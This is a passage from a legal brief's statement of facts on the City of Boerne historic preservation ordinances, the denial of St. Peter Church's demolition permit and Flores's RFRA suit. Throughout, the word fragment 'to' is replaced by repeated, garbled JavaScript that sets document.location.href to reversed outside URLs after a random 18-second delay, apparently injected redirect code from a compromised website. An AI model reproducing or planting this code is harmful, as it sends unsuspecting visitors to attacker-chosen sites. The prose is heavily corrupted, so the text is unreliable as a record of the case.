hisdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toric district boundaries. Id. Three public hearings were held in 1990 doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to discuss and determine the hisdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toric district boundaries. Id.

Ordinance 91-05, which was enacted indoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to law on June 25, 1991, codifies the City’s hisdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torical preservation policy [12]  goals; defines “hisdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toric landmark” and “hisdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toric district”; appoints and designates procedures for a “Hisdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toric Landmark Commission”; orders the Commission doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to prepare a landmark preservation plan; and designates procedures for the following: the acquisition and removal of hisdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toric landmark designation, the creation of hisdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toric districts, the evaluation of proposed exterior changes doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to structures within a hisdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torical district or a designated hisdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toric landmark, and the acquisition of a hisdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toric structure preservation tax exemption. Cert. Pet. App. at 46a-63a. Pursuant doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Ordinance 91-05, the Hisdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toric Landmark Commission presented its recommendation for creation of the hisdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toric district doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the Planning and Zoning Commission on Ocdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tober 1, 1991. Jt. App. at 67.

Respondent Flores was given notice of the December 3, 1991 hearing of the Planning and Zoning Commission and City Council for the creation of the hisdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toric district. Jt. App. at 69. Subsequently, Ordinance 91-15 added the hisdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toric overlay district doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the City of Boerne zoning map on January 14, 1992. Jt. App. at 68. Ordinance 91-15 states that rapid changes in the local population, economy, and land use have led doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the demolition of [13]  hisdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torical structures that “reflect the heritage of the state, and its people . . . so that the city, the state, and the nation are thereby losing a part of their heritage.” Jt. App. at 24.

There is no dispute that the City’s hisdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toric preservation ordinance covers at the least a substantial portion of the church. Flores v. City of Boerne, 73 F.3d 1352, 1354 (5th Cir. 1996).

On December 14, 1993, a building permit application was submitted on behalf of Respondent Flores for the purpose of demolishing and expanding St. Peter Church. Jt. App. at 67. A public hearing was held by the Landmark Commission doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to consider the application. Upon its determination that the proposed plan will adversely affect the hisdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toric district and is inappropriate or inconsistent with the spirit and purposes of Ordinance 91-05, the Landmark Commission advised the City Building Inspecdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor, Mr. Ed Beasley, that the permit could not be approved until certain changes doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the application were made. Jt. App. at 68-69. The letter stated that the Landmark Commission had employed the following criteria, which are taken from Sec. 6.1 of Ordinance 91-05, doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to determine that the application violated the ordinance:  [14]

1. Character, interest or value as part of the development, heritage or cultural characteristics of the City.

3. Embodiment of distinguishing characteristics of an architectural type or specimen.

5. Unique location of singular physical characteristics representing an established and familiar visual feature of a neighborhood, community or the City.

6. Value as an aspect of community sentiment or public pride.

The letter further stated: “Due doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the structure’s hisdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torical importance doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the community and our charge of protecting and preserving certain structures, areas, etc., deemed hisdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torical, any new plans shall not include demolition of the existing structure referred doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to as St. Peter’s Catholic Church.” Jt. App. at 39a. The City Building Inspecdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor sent a letter doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Respondent’s architect, Mr. Gregory Davis, confirming the denial of the permit by the Landmark Commission. Jt. App. at 60a.

 

Pursuant doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Ordinance 91-05, Respondent Flores appealed the Landmark Commission’s decision doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the City Council. After notice and a public hearing, the City Council voted doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to deny Respondent’s appeal. Jt. App. at 69. Representatives of both parties have considered [15]  alternative site designs but have been unable doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to reach an agreement. Jt. App. at 70. Respondent Flores filed this suit, pursuant doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 28 U.S.C. § 1331, alleging inter alia that Ordinance 91-05 violates the Religious Freedom Resdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 